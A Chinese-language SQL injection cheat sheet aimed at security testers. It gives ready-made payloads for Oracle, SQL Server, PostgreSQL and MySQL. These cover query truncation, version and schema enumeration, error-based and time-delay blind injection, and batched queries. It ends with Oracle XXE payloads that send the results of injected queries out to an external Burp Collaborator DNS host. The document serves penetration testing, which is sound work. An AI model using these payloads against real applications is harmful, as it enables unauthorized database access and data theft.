该清单中包含一些安全从业人员常用的,针对指定数据库进行sql注入漏洞测试的payload,在安全测试的第一个阶段,我们可以借助外部的一些安全工具,比如nmap进行识别服务器端数据库的指纹信息,更有利于后续的模糊测试。
将多个字符串拼接在一起,返回一个新的字符串。
Oracle | 'foo'||'bar' |
---|---|
Microsoft | 'foo'+'bar' |
PostgreSQL | 'foo'||'bar' |
MySQL | 'foo' 'bar' [注意两个字符串之间的空格] CONCAT('foo','bar') |
从具有指定长度的偏移量中提取字符串的一部分。请注意,偏移索引是基于1的。以下每个表达式将返回字符串ba。
Oracle | SUBSTR('foobar', 4, 2) |
---|---|
Microsoft | SUBSTRING('foobar', 4, 2) |
PostgreSQL | SUBSTRING('foobar', 4, 2) |
MySQL | SUBSTRING('foobar', 4, 2) |
使用注释来截断查询并删除原始输入之后的查询部分。
Oracle | --comment |
---|---|
Microsoft | --comment /comment/ |
PostgreSQL | --comment /comment/ |
MySQL | #comment -- comment [注意双破折号后的空格] /comment/ |
查询数据库确定其类型和版本。在制定更为复杂的安全测试时,此信息非常重要。
Oracle | SELECT banner FROM v$version SELECT version FROM v$instance |
---|---|
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
列出数据库中存在的表,以及这些表中所包含的列。
Oracle | SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' |
---|---|
Microsoft | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
PostgreSQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
MySQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
测试单个布尔条件,如果条件为true,则触发数据库错误。
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |
---|---|
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
使用批量查询来连续执行多个数据库语句。注意,在执行后续查询时,结果不会直接返回给应用程序。因此,该技术主要用于与sql盲注漏洞有关的问题,在该漏洞中,可以使用二次查询来触发DNS查询,条件错误或时间延迟。
Oracle | Does not support batched queries. |
---|---|
Microsoft | QUERY-1-HERE; QUERY-2-HERE |
PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
MySQL | Does not support batched queries. |
处理sql查询时,可能导致数据库中的时间延迟。以下情况将导致10秒的无条件时间延迟。
Oracle | dbms_pipe.receive_message(('a'),10) |
---|---|
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT sleep(10) |
可以测试单个布尔条件,并在条件为真时触发时间延迟。
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
---|---|
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') |
可以利用查询语句使数据库对外部域执行DNS查询。为此,将需要使用Burp Collaborator客户端生成,在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器,以确认是否真实发生了DNS查找。
以下技术利用了XML外部实体注入: SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
以下技术适用于完全修补的Oracle安装,但需要管理员权限: SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')/
可以使数据库对包含注入查询结果的外部域执行DNS查找。为此,将需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以检索任何DNS交互的详细信息,包括被泄露的数据。
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual